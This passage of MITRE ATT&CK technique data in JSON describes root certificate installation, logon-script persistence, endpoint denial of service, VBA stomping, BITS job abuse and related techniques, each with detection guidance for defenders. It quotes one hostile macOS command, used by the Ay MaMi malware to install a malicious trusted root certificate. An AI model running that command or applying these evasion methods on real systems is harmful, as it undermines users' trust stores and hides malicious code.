Certificate"},{"url":"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf","description":"Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.","source_name":"Operation Emmental"},{"url":"https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/","description":"Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.","source_name":"Kaspersky Superfish"},{"url":"https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec","description":"Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.","source_name":"SpectorOps Code Signing Dec 2017"},{"url":"https://objective-see.com/blog/blog_0x26.html","description":"Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.","source_name":"objective-see ay mami 2018"},{"url":"https://docs.microsoft.com/sysinternals/downloads/sigcheck","description":"Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.","source_name":"Microsoft Sigcheck May 2017"},{"url":"https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/","description":"Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.","source_name":"Tripwire AppUNBlocker"}],"modified":"2021-08-25T19:39:07.001Z","name":"Install Root Certificate","description":"Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (<code>sigcheck[64].exe -tuv</code>) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under <code>HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\</code> and <code>[HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Windows Registry: Windows Registry Key Creation","Windows Registry: Windows Registry Key Modification"],"x_mitre_defense_bypassed":["Digital Certificate Validation"],"x_mitre_permissions_required":["Administrator","User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99","type":"attack-pattern","created":"2020-01-10T18:01:03.666Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1037.003","url":"https://attack.mitre.org/techniques/T1037/003"},{"source_name":"Petri Logon Script AD","url":"https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008","description":"Daniel Petri. (2009, January 8). Setting up a Logon Script through Active Directory Users and Computers in Windows Server 2008. Retrieved November 15, 2019."}],"modified":"2020-03-24T23:45:25.625Z","name":"Network Logon Script","description":"Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems.  \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","File: File Modification","Active Directory: Active Directory Object Modification","File: File Creation"]},{"x_mitre_platforms":["Windows","Azure AD","Office 365","SaaS","IaaS","Linux","macOS","Google Workspace","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Alfredo Oliveira, Trend Micro","David Fiser, @anu4is, Trend Micro","Magno Logan, @magnologan, Trend Micro","Vishwas Manral, McAfee","Yossi Weizman, Azure Defender Research Team"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4","created":"2019-04-18T11:00:55.862Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1499","url":"https://attack.mitre.org/techniques/T1499"},{"source_name":"Cisco DoSdetectNetflow","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf","description":"Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."},{"source_name":"FSISAC FraudNetDoS September 2012","url":"https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf","description":"FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019."},{"source_name":"ArsTechnica Great Firewall of China","url":"https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/","description":"Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019."},{"source_name":"FireEye OpPoisonedHandover February 2016","url":"https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html","description":"Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019."},{"source_name":"USNYAG IranianBotnet March 2016","url":"https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged","description":"Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019."},{"source_name":"Symantec DDoS October 2014","url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf","description":"Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019."},{"url":"https://capec.mitre.org/data/definitions/227.html","source_name":"capec","external_id":"CAPEC-227"},{"url":"https://capec.mitre.org/data/definitions/131.html","source_name":"capec","external_id":"CAPEC-131"},{"url":"https://capec.mitre.org/data/definitions/130.html","source_name":"capec","external_id":"CAPEC-130"},{"url":"https://capec.mitre.org/data/definitions/125.html","source_name":"capec","external_id":"CAPEC-125"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n","modified":"2022-04-12T14:48:40.313Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Endpoint Denial of Service","x_mitre_detection":"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Network Traffic: Network Traffic Content","Sensor Health: Host Status","Network Traffic: Network Traffic Flow","Application Log: Application Log Content"],"x_mitre_system_requirements":[],"x_mitre_impact_type":["Availability"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian","Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617","type":"attack-pattern","created":"2020-03-16T15:30:57.711Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1027.004","url":"https://attack.mitre.org/techniques/T1027/004"},{"description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf","source_name":"ClearSky MuddyWater Nov 2018"},{"source_name":"TrendMicro WindowsAppMac","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/","description":"Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019."}],"modified":"2020-03-29T20:59:32.293Z","name":"Compile After Delivery","description":"Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Metadata","Process: Process Creation","File: File Creation","Command: Command Execution"],"x_mitre_defense_bypassed":["Signature-based detection","Host intrusion prevention systems","Anti-virus","Binary Analysis","Static File Analysis"],"x_mitre_permissions_required":["User"],"x_mitre_system_requirements":["Compiler software (either native to the system or delivered by the adversary)"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0","type":"attack-pattern","created":"2017-05-31T21:30:53.408Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1065","url":"https://attack.mitre.org/techniques/T1065"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-14T18:19:53.002Z","name":"Uncommonly Used Port","description":"Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows","Linux","macOS","IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Pooja Natarajan, NEC Corporation India","Hiroki Nagahama, NEC Corporation","Manikantan Srinivasan, NEC Corporation India","Wes Hurd","Katie Nickels, Red Canary"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","type":"attack-pattern","created":"2021-04-01T16:42:08.735Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1614","url":"https://attack.mitre.org/techniques/T1614"},{"source_name":"FBI Ragnar Locker 2020","url":"https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf","description":"FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved April 1, 2021."},{"source_name":"Sophos Geolocation 2016","url":"https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/","description":"Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals target you based on where you live. Retrieved April 1, 2021."},{"source_name":"Bleepingcomputer RAT malware 2020","url":"https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/","description":"Abrams, L. (2020, October 23). New RAT malware gets commands via Discord, has ransomware feature. Retrieved April 1, 2021."},{"source_name":"AWS Instance Identity Documents","url":"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html","description":"Amazon. (n.d.). Instance identity documents. Retrieved April 2, 2021."},{"source_name":"Microsoft Azure Instance Metadata 2021","url":"https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows","description":"Microsoft. (2021, February 21). Azure Instance Metadata Service (Windows). Retrieved April 2, 2021."},{"source_name":"Securelist Trasparent Tribe 2020","url":"https://securelist.com/transparent-tribe-part-1/98127/","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved April 1, 2021."}],"modified":"2021-10-15T22:00:56.438Z","name":"System Location Discovery","description":"\nAdversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as <code>GetLocaleInfoW</code> can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)\n\nAdversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling <code> GetLocaleInfoW</code> to gather information.(Citation: FBI Ragnar Locker 2020)\n\nMonitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Process: OS API Execution","Instance: Instance Metadata"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Rick Cole, Mandiant"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b","type":"attack-pattern","created":"2020-09-17T12:51:40.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1564.007","url":"https://attack.mitre.org/techniques/T1564/007"},{"source_name":"FireEye VBA stomp Feb 2020","url":"https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html","description":"Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020."},{"source_name":"Evil Clippy May 2019","url":"https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/","description":"Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant. Retrieved September 17, 2020."},{"source_name":"Microsoft _VBA_PROJECT Stream","url":"https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239","description":"Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information. Retrieved September 18, 2020."},{"source_name":"Walmart Roberts Oct 2018","url":"https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278","description":"Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping — Advanced Maldoc Techniques. Retrieved September 17, 2020."},{"source_name":"pcodedmp Bontchev","url":"https://github.com/bontchev/pcodedmp","description":"Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020."},{"source_name":"oletools toolkit","url":"https://github.com/decalage2/oletools","description":"decalage2. (2019, December 3). python-oletools. Retrieved September 18, 2020."}],"modified":"2021-10-15T14:02:07.944Z","name":"VBA Stomping","description":"Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a <code>PerformanceCache</code> that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the <code>_VBA_PROJECT</code> stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero’s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the <code>_VBA_PROJECT</code> stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)\n\nIf the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the <code>PROJECT</code> stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the <code>PROJECT</code> stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Metadata","Script: Script Execution"],"x_mitre_permissions_required":["User"],"x_mitre_system_requirements":["MS Office version specified in <code>_VBA_PROJECT</code> stream must match host"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Brent Murphy, Elastic","David French, Elastic","Ricardo Dias","Red Canary"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1197","url":"https://attack.mitre.org/techniques/T1197"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx","description":"Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.","source_name":"Microsoft COM"},{"url":"https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx","description":"Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.","source_name":"Microsoft BITS"},{"url":"https://msdn.microsoft.com/library/aa362813.aspx","description":"Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.","source_name":"Microsoft BITSAdmin"},{"url":"https://www.secureworks.com/blog/malware-lingers-with-bits","description":"Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.","source_name":"CTU BITS Malware June 2016"},{"url":"https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/","description":"Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background Intelligent Transfer Service. Retrieved January 12, 2018.","source_name":"Mondok Windows PiggyBack BITS May 2007"},{"url":"https://www.symantec.com/connect/blogs/malware-update-windows-update","description":"Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.","source_name":"Symantec BITS May 2007"},{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/","description":"Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.","source_name":"PaloAlto UBoatRAT Nov 2017"},{"url":"https://technet.microsoft.com/library/dd939934.aspx","description":"Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.","source_name":"Microsoft Issues with BITS July 2011"},{"source_name":"Elastic - Hunting for Persistence Part 1","url":"https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1","description":"French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020."}],"modified":"2021-04-13T21:36:04.956Z","name":"BITS Jobs","description":"Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"BITS runs as a service and its status can be checked with the Sc query utility (<code>sc query bits</code>).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (<code>bitsadmin /list /allusers /verbose</code>).(Citation: Microsoft BITS)\n\nMonitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) 